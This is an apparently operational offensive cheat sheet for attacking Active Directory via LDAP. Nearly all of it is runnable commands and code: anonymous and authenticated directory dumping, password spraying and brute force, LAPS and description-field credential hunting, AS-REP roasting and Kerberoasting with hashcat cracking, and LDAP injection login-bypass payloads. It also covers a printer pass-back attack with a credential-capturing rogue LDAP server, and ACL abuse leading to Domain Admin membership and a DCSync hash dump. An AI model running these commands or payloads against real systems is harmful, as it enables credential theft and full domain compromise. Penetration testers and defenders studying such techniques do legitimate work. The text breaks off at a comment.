A complete operational reference for LDAP enumeration, anonymous bind abuse,
authenticated dumping, LDAP injection, BloodHound/SharpHound attack path
mapping, credential attacks, and Active Directory abuse via LDAP queries.
Covers ldapsearch, windapsearch, ldapdomaindump, crackmapexec, impacket,
BloodHound CE, and manual Python ldap3 techniques.
1. Core Concepts & LDAP Attack Flow
LDAP ATTACK FLOW:
──────────────────────────────────────────────────────────────────────
Target AD / LDAP Server
│
▼
┌─────────────────────────┐
│ Port Discovery │ ← 389 (LDAP), 636 (LDAPS), 3268/3269 (GC)
└──────────┬──────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Anonymous / Null Bind Test │
│ ldapsearch -x -H ldap://<IP> -s base │
│ Does it return data without credentials? │
└──────────┬───────────────────────────────────┘
│
┌────────┴───────────────────────────────────┐
│ │
▼ ▼
┌────────────────────────┐ ┌────────────────────────────┐
│ Anonymous Bind Works │ │ Creds Required │
│ → dump users/groups │ │ → brute force / spray │
│ → find base DN │ │ → password policy first │
│ → extract SPNs │ └───────────┬────────────────┘
└──────────┬─────────────┘ │
│ │
└──────────────┬───────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Authenticated LDAP Enumeration │
│ ldapsearch / windapsearch / │
│ ldapdomaindump / crackmapexec │
└──────────────┬───────────────────────┘
│
┌──────────────┴────────────────────┐
│ │
▼ ▼
┌──────────────────────┐ ┌────────────────────────────┐
│ BloodHound/SharpHound│ │ Manual LDAP Abuse │
│ Attack path mapping │ │ AS-REP Roasting │
│ ACL abuse discovery │ │ Kerberoasting │
│ Shadow admins │ │ ACL/ACE abuse │
└──────────┬────────────┘ │ LDAP injection (web) │
│ │ Pass-back attack │
└──────────┬──────────┘
│
▼
┌─────────────────────────────┐
│ Domain Admin / Compromise │
└─────────────────────────────┘
──────────────────────────────────────────────────────────────────────
Key Terms:
-
LDAP— Lightweight Directory Access Protocol — query/manage directory services -
Active Directory (AD)— Microsoft's implementation of LDAP + Kerberos + DNS -
Base DN— Base Distinguished Name — top-level search root e.g.DC=domain,DC=local -
Anonymous Bind— LDAP connection with no credentials — often misconfigured -
Simple Bind— username + password sent over LDAP (cleartext on port 389!) -
DN— Distinguished Name — unique identifier e.g.CN=user,OU=IT,DC=domain,DC=local -
sAMAccountName— Windows username attribute in AD -
userPrincipalName— UPN — login formatuser@domain.com -
objectSID— Security Identifier — unique ID for every AD object -
memberOf— attribute listing all groups a user belongs to -
adminCount=1— marks protected admin accounts (AdminSDHolder) -
servicePrincipalName (SPN)— attribute identifying Kerberos services → Kerberoasting target -
LDAPS— LDAP over SSL/TLS (port 636) — encrypted -
GC— Global Catalog — port 3268/3269 — all AD objects across all domains
2. Port Discovery & Service Detection
# Standard LDAP port scan
nmap -p 389,636,3268,3269 <TARGET_IP>
nmap -p 389,636,3268,3269 -sV <TARGET_IP>
# Full service scan with LDAP NSE scripts
nmap -p 389,636,3268,3269 --script ldap-rootdse <TARGET_IP>
# ldap-rootdse retrieves RootDSE — reveals:
# → domain name, DC FQDN, supported LDAP versions, naming contexts, forest name
# Example output:
# 389/tcp open ldap
# | ldap-rootdse:
# | namingContexts: DC=domain,DC=local
# | domainFunctionality: 7 (Windows 2016)
# | forestFunctionality: 7
# All LDAP NSE scripts
nmap -p 389 --script "ldap-*" <TARGET_IP>
nmap -p 389 --script ldap-rootdse,ldap-search <TARGET_IP>
# Banner grab / manual connection check
nc <TARGET_IP> 389
openssl s_client -connect <TARGET_IP>:636 # LDAPS SSL check
# UDP scan
nmap -sU -p 389 <TARGET_IP>
# Subnet sweep for LDAP
nmap -p 389,636 --open 192.168.1.0/24
Identifying the Domain / Base DN
# Method 1: ldapsearch anonymous base query
ldapsearch -x -H ldap://<TARGET_IP> -s base namingContexts
# Returns: namingContexts: DC=domain,DC=local ← your BASE DN
# Method 2: nmap rootdse script
nmap -p 389 --script ldap-rootdse <TARGET_IP> | grep namingContexts
# Method 3: crackmapexec
crackmapexec ldap <TARGET_IP>
# Output: LDAP <IP> 389 DC01 [*] domain.local (name:DC01) (domain:domain.local)
# Method 4: blank base manual
ldapsearch -LLL -x -H ldap://<TARGET_IP> -b '' -s base '(objectclass=*)'
3. Anonymous / Unauthenticated Enumeration
3.1 Testing for Anonymous Bind
# Test if anonymous bind works
ldapsearch -x -H ldap://<TARGET_IP> -s base
# Returns data WITHOUT -D or -w flags = anonymous bind enabled!
# Explicit null bind test
ldapsearch -x -H ldap://<TARGET_IP> \
-D "" -w "" \
-b "DC=domain,DC=local"
# CrackMapExec null session test
crackmapexec ldap <TARGET_IP> -u "" -p ""
crackmapexec ldap <TARGET_IP> -u "anonymous" -p ""
3.2 Anonymous Enumeration Queries
BASE="DC=domain,DC=local"
IP="<TARGET_IP>"
# Dump everything
ldapsearch -x -H ldap://$IP -b "$BASE" > full_ldap_dump.txt
ldapsearch -LLL -x -H ldap://$IP -b "$BASE" "(objectClass=*)" > dump_all.txt
# All users
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(objectClass=user)" \
sAMAccountName userPrincipalName description
# All computers
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(objectClass=computer)" \
name dNSHostName operatingSystem
# All groups
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(objectClass=group)" \
cn member
# Password policy
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(objectClass=domain)" \
minPwdLength lockoutThreshold lockoutDuration maxPwdAge
# Accounts with no password required (userAccountControl bit 32)
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" \
sAMAccountName
# userAccountControl flags:
# 2 = ACCOUNTDISABLE
# 32 = PASSWD_NOTREQD
# 64 = PASSWD_CANT_CHANGE
# 512 = NORMAL_ACCOUNT
# 65536 = DONT_EXPIRE_PASSWORD
# 4194304 = DONT_REQ_PREAUTH (AS-REP roastable!)
# AS-REP roastable accounts (no preauth required)
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# Accounts with passwords that never expire
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
sAMAccountName
# Admin accounts (adminCount=1)
ldapsearch -x -H ldap://$IP -b "$BASE" \
"(&(objectClass=user)(adminCount=1))" \
sAMAccountName memberOf
4. Authenticated LDAP Enumeration
4.1 ldapsearch — Authenticated Queries
# Authenticated bind syntax
ldapsearch -H ldap://<TARGET_IP> \
-D "DOMAIN\username" \
-w "password" \
-b "DC=domain,DC=local"
# UPN format
ldapsearch -H ldap://<TARGET_IP> \
-D "username@domain.local" \
-w "password" \
-b "DC=domain,DC=local"
# DN format
ldapsearch -H ldap://<TARGET_IP> \
-D "cn=username,cn=users,dc=domain,dc=local" \
-w "password" \
-b "DC=domain,DC=local"
BASE="DC=domain,DC=local"
IP="<TARGET_IP>"
USER="username"
PASS="password"
# All users — full details
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(objectClass=user)" \
sAMAccountName userPrincipalName description memberOf \
userAccountControl lastLogon pwdLastSet
# Domain Admins members
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(cn=Domain Admins)" member
# Enterprise Admins
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(cn=Enterprise Admins)" member
# Schema Admins
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(cn=Schema Admins)" member
# Kerberoastable accounts (SPN set, enabled, not krbtgt)
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
sAMAccountName servicePrincipalName memberOf
# Passwords in description field (goldmine!)
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(&(objectClass=user)(description=*))" \
sAMAccountName description
# All OUs
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(objectClass=organizationalUnit)" ou description
# Domain trusts
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" \
-b "CN=System,$BASE" \
"(objectClass=trustedDomain)" \
name trustDirection trustType flatName
# GPO enumeration
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "$BASE" \
"(objectClass=groupPolicyContainer)" \
displayName gPCFileSysPath
# Fine-grained password policies
ldapsearch -H ldap://$IP -D "$USER@domain.local" -w "$PASS" \
-b "CN=Password Settings Container,CN=System,$BASE" \
"(objectClass=msDS-PasswordSettings)" \
cn msDS-MinimumPasswordLength msDS-LockoutThreshold
4.2 LDAPS — Encrypted LDAP (Port 636)
# Use ldaps:// scheme
ldapsearch -H ldaps://<TARGET_IP>:636 \
-D "username@domain.local" -w "password" \
-b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
# Skip cert verification (self-signed cert)
LDAPTLS_REQCERT=never ldapsearch -H ldaps://<TARGET_IP>:636 \
-D "username@domain.local" -w "password" \
-b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
# Global Catalog (port 3268) — all objects across forest
ldapsearch -H ldap://<TARGET_IP>:3268 \
-D "username@domain.local" -w "password" \
-b "" "(objectClass=user)" sAMAccountName userPrincipalName
5. windapsearch — AD-Focused Enumeration
# Installation
git clone https://github.com/ropnop/windapsearch.git
cd windapsearch && pip3 install -r requirements.txt
# Go binary (faster):
wget https://github.com/ropnop/go-windapsearch/releases/latest/download/windapsearch-linux-amd64
chmod +x windapsearch-linux-amd64 && mv windapsearch-linux-amd64 windapsearch
# Basic syntax
python3 windapsearch.py --dc-ip <TARGET_IP> -u "username@domain.local" -p "password" [MODULE]
# Anonymous — get functionality level (no creds)
python3 windapsearch.py --dc-ip <TARGET_IP> -u "" --functionality
# All users
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m users
# Full user attributes
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m users --full
# Domain Admins
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m domain-admins
# Privileged users (adminCount=1 — shadow admins)
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m privileged-users
# Computers
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m computers
# Groups
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m groups
# Unconstrained delegation (high value targets)
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m unconstrained-users
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m unconstrained-computers
# Kerberoastable users (SPN set)
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" -m kerberoastable-users
# Custom LDAP filter
python3 windapsearch.py --dc-ip <TARGET_IP> \
-u "user@domain.local" -p "pass" \
--custom "(&(objectClass=user)(description=*pass*))"
6. ldapdomaindump — Full Offline Dump
# Installation
pip3 install ldapdomaindump
# Basic dump (outputs HTML + JSON + grep-able files)
ldapdomaindump -u "DOMAIN\username" -p "password" <TARGET_IP>
ldapdomaindump -u "username@domain.local" -p "password" <TARGET_IP>
# Specify output directory
ldapdomaindump -u "DOMAIN\username" -p "password" \
-o /tmp/ldap_dump/ <TARGET_IP>
# LDAPS
ldapdomaindump -u "DOMAIN\username" -p "password" \
--no-html ldaps://<TARGET_IP>:636
# Output files generated:
# domain_computers.grep → all computers (tab-separated)
# domain_computers.html
# domain_computers.json
# domain_groups.grep
# domain_policy.grep → password policy!
# domain_trusts.grep
# domain_users.grep → all users + attributes
# domain_users_by_group.html
# Parse output
# Passwords in description:
cat /tmp/ldap_dump/domain_users.grep | grep -i "pass\|pwd\|cred\|secret"
# Admin accounts:
cat /tmp/ldap_dump/domain_users.grep | grep "adminCount=1"
# Disabled accounts:
cat /tmp/ldap_dump/domain_users.grep | grep "ACCOUNTDISABLE"
# AS-REP roastable:
cat /tmp/ldap_dump/domain_users.grep | grep "DONT_REQ_PREAUTH"
# Serve HTML files in browser:
cd /tmp/ldap_dump && python3 -m http.server 8080
# Open: http://127.0.0.1:8080/domain_users.html
7. CrackMapExec / NetExec LDAP Module
# Host info
crackmapexec ldap <TARGET_IP>
nxc ldap <TARGET_IP>
# Output: LDAP <IP> 389 DC01 [*] Windows Server 2019 (domain:domain.local) (signing:True)
# Null session / anonymous test
crackmapexec ldap <TARGET_IP> -u "" -p ""
nxc ldap <TARGET_IP> -u "anonymous" -p ""
# Users
crackmapexec ldap <TARGET_IP> -u username -p password --users
# Groups
crackmapexec ldap <TARGET_IP> -u username -p password --groups
# Computers
crackmapexec ldap <TARGET_IP> -u username -p password --computers
# Password policy
crackmapexec ldap <TARGET_IP> -u username -p password --pass-pol
# Trusted domains with delegation
crackmapexec ldap <TARGET_IP> -u username -p password --trusted-for-delegation
# AS-REP Roast
crackmapexec ldap <TARGET_IP> -u username -p password --asreproast asrep_hashes.txt
crackmapexec ldap <TARGET_IP> -u users.txt -p "" --asreproast asrep_hashes.txt
# Kerberoast
crackmapexec ldap <TARGET_IP> -u username -p password --kerberoasting kerb_hashes.txt
# Passwords in description field
crackmapexec ldap <TARGET_IP> -u username -p password -M get-desc-users
# LAPS plaintext local admin passwords
crackmapexec ldap <TARGET_IP> -u username -p password -M laps
# Machine Account Quota (MAQ)
crackmapexec ldap <TARGET_IP> -u username -p password -M maq
8. BloodHound & SharpHound — Attack Path Mapping
8.1 Concept
BLOODHOUND:
──────────────────────────────────────────────────────────────────────
Collects ALL LDAP relationships in AD:
→ Group memberships, ACL rights, Kerberos delegations,
session data, local admin rights, OU structure, GPOs
Draws a graph showing shortest attack paths:
→ "How do I get from regular user → Domain Admin?"
Finds paths no human would manually discover:
user1 → GenericWrite on user2 →
user2 is member of IT Admins →
IT Admins has WriteDACL on Domain Admins →
Add user1 to Domain Admins ← GAME OVER
──────────────────────────────────────────────────────────────────────
8.2 BloodHound CE Setup
# Install via Docker
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml \
-o bloodhound-docker-compose.yml
docker compose -f bloodhound-docker-compose.yml up -d
# Access at: http://127.0.0.1:8080
# Get initial password:
docker logs bloodhound-bloodhound-1 2>&1 | grep "Initial Password"
# Legacy BloodHound 4.x (Electron app)
sudo neo4j start
# Then launch BloodHound GUI → connect to bolt://localhost:7687
8.3 SharpHound — Data Collection
# Windows (run on domain-joined machine)
SharpHound.exe -c All
SharpHound.exe -c All --Stealth # quieter
SharpHound.exe -c All --SecureLDAP # use LDAPS
SharpHound.exe -c Session --Loop \
--loopduration 03:00:00 \
--loopinterval 00:10:00 # catch logged-on users
SharpHound.exe -c All --DomainController <DC_IP>
# From non-domain machine via runas
runas /netonly /user:DOMAIN\username cmd.exe
# In new cmd:
SharpHound.exe -c All
# bloodhound-python (Linux — no Windows needed!)
pip3 install bloodhound
bloodhound-python -d domain.local \
-u username -p password \
-ns <DC_IP> -c all
# With hash (PtH):
bloodhound-python -d domain.local \
-u username --hashes :<NTLM_HASH> \
-ns <DC_IP> -c all
# → Generates JSON files → ZIP and drag into BloodHound GUI
8.4 Key BloodHound Cypher Queries
// Shortest path from owned users to Domain Admins
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
// Users that can reset passwords
MATCH p=(u:User)-[:ForceChangePassword]->(v:User)
RETURN u.name, v.name
// All GenericAll rights (full control)
MATCH p=(u)-[:GenericAll]->(v)
RETURN u.name, v.name, labels(v)
// Users with WriteDACL on Domain
MATCH p=(u:User)-[:WriteDacl]->(d:Domain)
RETURN u.name
// Shadow admins (not in group but have admin rights)
MATCH (u:User)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->
(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE NOT (u)-[:MemberOf*1..]->(:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name
// Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name
// LAPS-enabled computers
MATCH (c:Computer {haslaps:true})
RETURN c.name
// Paths from Domain Users to any high-value group
MATCH p=shortestPath((g:Group {name:"DOMAIN USERS@DOMAIN.LOCAL"})-[*1..10]->(t:Group))
WHERE t.highvalue=true
RETURN p LIMIT 5
9. LDAP Credential Attacks
9.1 Password Spraying via LDAP
# Check password policy FIRST — avoid lockouts!
crackmapexec ldap <TARGET_IP> -u username -p password --pass-pol
# Spray one password against all users (safe — 1 attempt per user)
crackmapexec ldap <TARGET_IP> -u users.txt -p "Password123" \
--continue-on-success
# Spray across domain subnet
crackmapexec ldap 192.168.1.0/24 -u users.txt -p "Winter2024!" \
--continue-on-success
# User:pass pairs (not combinatorial — avoids lockout)
crackmapexec ldap <TARGET_IP> -u users.txt -p passwords.txt \
--no-bruteforce --continue-on-success
# Hydra LDAP brute force
hydra -L users.txt -p "Password123" ldap2://<TARGET_IP>
hydra -l administrator -P /usr/share/wordlists/rockyou.txt ldap2://<TARGET_IP>
# Validate single user:pass with ldapsearch
ldapsearch -H ldap://<TARGET_IP> \
-D "testuser@domain.local" -w "TestPassword123" \
-b "DC=domain,DC=local" "(sAMAccountName=testuser)" sAMAccountName 2>&1
# "result: 49 Invalid credentials" = wrong
# Returns data = correct
9.2 Credential Hunting via LDAP Attributes
# Passwords in description fields
ldapsearch -H ldap://<TARGET_IP> \
-D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(description=*)" sAMAccountName description \
| grep -i "pass\|pwd\|cred\|secret\|admin\|key"
# Passwords in info fields
ldapsearch -H ldap://<TARGET_IP> \
-D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(info=*)" sAMAccountName info
# LAPS — plaintext local admin password (ms-MCS-AdmPwd)
ldapsearch -H ldap://<TARGET_IP> \
-D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(objectClass=computer)" \
ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime sAMAccountName
# ms-MCS-AdmPwd = PLAINTEXT local admin password!
# Custom attributes — sometimes store creds in misconfigs
ldapsearch -H ldap://<TARGET_IP> \
-D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(objectClass=user)" \
comment extensionAttribute1 extensionAttribute2 streetAddress
10. LDAP Injection — Web App Attack
10.1 How It Works
VULNERABLE CODE (PHP):
──────────────────────────────────────────────────────────────────────
$filter = "(&(uid=" . $user . ")(userPassword=" . $pass . "))";
Normal: user=admin pass=secret
Filter: (&(uid=admin)(userPassword=secret))
Injected: user=admin)(&) pass=anything
Filter: (&(uid=admin)(&))(userPassword=anything))
→ (&(uid=admin)(&)) = always TRUE → bypass!
──────────────────────────────────────────────────────────────────────
10.2 Authentication Bypass Payloads
─── Username field ───
* → wildcard matches ANY uid
admin)(&) → closes filter, always-true clause
admin)(|(uid=* → OR — match any user
*))(|(uid=* → full bypass
admin)(!(&(1=0 → NOT false = true
%2A → URL-encoded wildcard *
\2a → LDAP-escaped wildcard *
admin\00 → null byte injection
─── Password field ───
* → wildcard password
*))(|(password=* → OR wildcard
anything)(uid=* → pivot to another attribute
─── Both fields bypass ───
Username: *)(uid=*))(|(uid=*
Password: anything
→ Returns ALL users → logged in as first user
10.3 Blind LDAP Injection — Data Extraction
CONCEPT:
────────────────────────────────────────────────────────────────────
No visible output but app behavior changes based on filter truth:
→ True condition → "Login success" / redirect
→ False condition → "Login failed"
→ Extract data one char at a time
Username: admin)(userPassword=a* → does password start with 'a'?
Username: admin)(userPassword=ab* → does it start with 'ab'?
→ Iterate character set to reconstruct full password
Character set: a-z A-Z 0-9 !@#$%^&*()-_+=
10.4 Testing Tools
# curl injection test
curl -s -X POST https://target.com/login \
--data "username=admin)(%26)&password=anything"
# URL-encoded: & = %26, * = %2A, ( = %28, ) = %29
# Burp Suite workflow
# Capture login → Send to Intruder → mark username field
# Load LDAP injection payload list → attack
# Filter responses by length / status code
# LDAP injection wordlist
cat > ldap_inject.txt << 'EOF'
*
*)
*()|%26'
admin)(&)
admin)(|(password=*)
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*(|(userPassword=*))
admin)(cn=*))(|(cn=*
EOF
# nmap ldap-brute NSE
nmap --script ldap-brute -p 389 <TARGET_IP> \
--script-args ldap.base="DC=domain,DC=local"
11. LDAP Pass-Back Attack (Printer/MFP Abuse)
Concept
LDAP PASS-BACK:
──────────────────────────────────────────────────────────────────────
Printers / scanners / copiers have admin panels to configure LDAP:
→ "Scan to folder" / "Authenticate via LDAP"
→ Config asks for: LDAP server IP, port, bind DN, password
Attack:
1. Access admin panel (default creds: admin/admin, admin/blank)
2. Change LDAP server IP → YOUR attacker machine
3. Device authenticates to YOUR machine with its bind credentials
4. Capture cleartext credentials (Simple Bind = plaintext on port 389)
Why it works: device blindly sends creds to whatever IP you configure!
──────────────────────────────────────────────────────────────────────
Execution
# Step 1: Access printer admin panel
# Common paths:
# http://<PRINTER_IP>/
# http://<PRINTER_IP>/admin
# http://<PRINTER_IP>/settings/ldap
# http://<PRINTER_IP>/hp/device/
# Default creds: admin:admin | admin:(blank) | Admin:Admin | admin:1234
# Step 2: Setup rogue LDAP listener
# Method 1: nc — captures Simple Bind in PLAINTEXT
sudo nc -lvnp 389
# Method 2: Responder — captures NTLMv2 hashes
sudo python3 Responder.py -I eth0 -wrf
# Method 3: Python rogue LDAP server
python3 - << 'EOF'
import socket, threading
def handle_client(conn, addr):
print(f"[+] Connection from {addr}")
data = conn.recv(4096)
print(f"[+] Raw: {data}")
print(f"[+] Hex: {data.hex()}")
# Send LDAP bind success response
conn.send(b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00')
conn.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 389))
s.listen(5)
print("[*] Rogue LDAP listening on 389...")
while True:
conn, addr = s.accept()
threading.Thread(target=handle_client, args=(conn, addr)).start()
EOF
# Step 3: In printer admin panel → set LDAP server to <YOUR_IP>
# Click "Test Connection" → device sends creds to you → capture!
# Step 4: Use captured credentials
# Cleartext → use directly in ldapsearch / crackmapexec / evil-winrm
# NTLMv2 hash → crack: hashcat -m 5600 hash.txt rockyou.txt
12. AS-REP Roasting via LDAP
WHAT IT IS:
──────────────────────────────────────────────────────────────────────
Accounts with DONT_REQ_PREAUTH set:
→ Anyone can request an AS-REP for them WITHOUT a password
→ AS-REP is encrypted with the user's NT hash
→ Capture → crack offline → get plaintext password
LDAP filter:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
──────────────────────────────────────────────────────────────────────
# Find AS-REP roastable accounts via LDAP (no creds if anon bind works)
ldapsearch -x -H ldap://<DC_IP> \
-b "DC=domain,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# impacket-GetNPUsers — single user (no creds needed)
impacket-GetNPUsers domain.local/username -no-pass -dc-ip <DC_IP>
# Multiple users from file
impacket-GetNPUsers domain.local/ \
-usersfile users.txt \
-no-pass \
-dc-ip <DC_IP> \
-outputfile asrep_hashes.txt
# With credentials (auto-finds all roastable accounts)
impacket-GetNPUsers domain.local/username:password \
-dc-ip <DC_IP> -outputfile asrep_hashes.txt
# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --asreproast output.txt
crackmapexec ldap <DC_IP> -u users.txt -p "" --asreproast output.txt
# Crack — hashcat mode 18200
# Hash format: $krb5asrep$23$username@domain.local:...
hashcat -a 0 -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
13. Kerberoasting via LDAP
WHAT IT IS:
──────────────────────────────────────────────────────────────────────
Any authenticated user can request a TGS for any account with an SPN.
TGS is encrypted with the SERVICE ACCOUNT's password hash.
→ Capture TGS → crack offline → get service account plaintext password
LDAP filter:
(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))
──────────────────────────────────────────────────────────────────────
# Find Kerberoastable accounts via LDAP
ldapsearch -H ldap://<DC_IP> \
-D "user@domain.local" -w "pass" \
-b "DC=domain,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
sAMAccountName servicePrincipalName memberOf
# impacket-GetUserSPNs — list SPNs
impacket-GetUserSPNs domain.local/username:password -dc-ip <DC_IP>
# Request tickets (get hashes)
impacket-GetUserSPNs domain.local/username:password \
-dc-ip <DC_IP> -request -outputfile kerb_hashes.txt
# Target specific account
impacket-GetUserSPNs domain.local/username:password \
-dc-ip <DC_IP> -request-user svc_mssql -outputfile kerb_hashes.txt
# CrackMapExec
crackmapexec ldap <DC_IP> -u username -p password --kerberoasting kerb.txt
# Crack — hashcat mode 13100 (RC4)
# Hash format: $krb5tgs$23$*svc_sql*DOMAIN.LOCAL*...
hashcat -a 0 -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 13100 kerb_hashes.txt rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES variants
hashcat -a 0 -m 19700 kerb_hashes.txt rockyou.txt # AES128 (etype 17)
hashcat -a 0 -m 19800 kerb_hashes.txt rockyou.txt # AES256 (etype 18)
# John
john kerb_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
14. ACL / ACE Abuse via LDAP
Common Abusable ACEs
| ACE Right | On Object | What Attacker Can Do |
|---|---|---|
GenericAll |
User | Change password, modify attrs, add to groups |
GenericAll |
Group | Add self as member |
GenericAll |
Computer | RBCD attack |
GenericWrite |
User | Set SPN → Kerberoast |
GenericWrite |
Group | Add self as member |
WriteDACL |
Any | Modify ACLs → grant self any right |
WriteOwner |
Any | Take ownership → then WriteDACL |
ForceChangePassword |
User | Reset password (no old pass needed) |
DCSync rights |
Domain | Dump all hashes like secretsdump |
AllExtendedRights |
User | Force-change password |
Exploiting ACEs
# Enumerate ACLs — PowerView (Windows)
Import-Module .\PowerView.ps1
# Get ACL for a specific object
Get-DomainObjectAcl -Identity "targetuser" -ResolveGUIDs
# Find ACEs where you have rights
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "yourgroup|youruser"
}
# GenericAll on User → change their password (Linux)
impacket-changepasswd "domain.local/targetuser:AnyPass@<DC_IP>" \
-newpass "NewPass123!" \
-altuser youruser -altpass yourpass
# GenericAll on User → change password (PowerShell)
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\youruser",
(ConvertTo-SecureString "YourPassword" -AsPlainText -Force))
Set-DomainUserPassword -Identity targetuser \
-AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force) \
-Credential $cred
# GenericAll on Group → add self as member
Add-DomainGroupMember -Identity "Domain Admins" -Members "youruser" -Credential $cred
# Via net rpc (Linux):
net rpc group addmem "Domain Admins" youruser \
-U domain/youruser%yourpass -S <DC_IP>
# WriteDACL → grant self DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
-PrincipalIdentity youruser -Rights DCSync -Credential $cred
# Then DCSync — dump all hashes from DC
impacket-secretsdump domain.local/youruser:pass@<DC_IP>
# ForceChangePassword (rpcclient)
rpcclient -U "DOMAIN/youruser%yourpass" <DC_IP>
# Inside rpcclient:
setuserinfo2 targetuser 23 "NewPassword123!"
15. Python ldap3 — Manual LDAP Scripting
# pip3 install ldap3
from ldap3 import Server, Connection, ALL, NTLM, SUBTREE
# Simple Bind
server = Server('ldap://10.10.10.100', get_info=ALL)
conn = Connection(server,
user='DOMAIN\\username', password='password',
authentication='SIMPLE')
conn.bind()
print(conn.result)
# NTLM Auth
conn = Connection(server,
user='DOMAIN\\username', password='password',
authentication=NTLM)
conn.bind()
# Anonymous
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# Get RootDSE info
print(server.info.naming_contexts)
print(server.info.other['defaultNamingContext'])
# Search all users
base_dn = 'DC=domain,DC=local'
conn.search(
search_base=base_dn,
search_filter='(objectClass=user)',
search_scope=SUBTREE,
attributes=['sAMAccountName', 'mail', 'description', 'memberOf']
)
for entry in conn.entries:
print(f"[+] {entry.sAMAccountName} | {entry.description}")
# AS-REP roastable accounts
conn.search(
search_base=base_dn,
search_filter='(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
attributes=['sAMAccountName']
)
for entry in conn.entries:
print(f"[AS-REP] {entry.sAMAccountName}")
# Kerberoastable accounts
conn.search(
search_base=base_dn,
search_filter='(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt)))',
attributes=['sAMAccountName', 'servicePrincipalName']
)
for entry in conn.entries:
print(f"[SPN] {entry.sAMAccountName} : {entry.servicePrincipalName}")
# Hunt passwords in description
conn.search(
search_base=base_dn,
search_filter='(&(objectClass=user)(description=*))',
attributes=['sAMAccountName', 'description']
)
keywords = ['pass', 'pwd', 'cred', 'secret', 'key', 'admin']
for entry in conn.entries:
desc = str(entry.description).lower()
if any(k in desc for k in keywords):
print(f"[!!!] {entry.sAMAccountName} → {entry.description}")
# Modify attribute (if you have write rights)
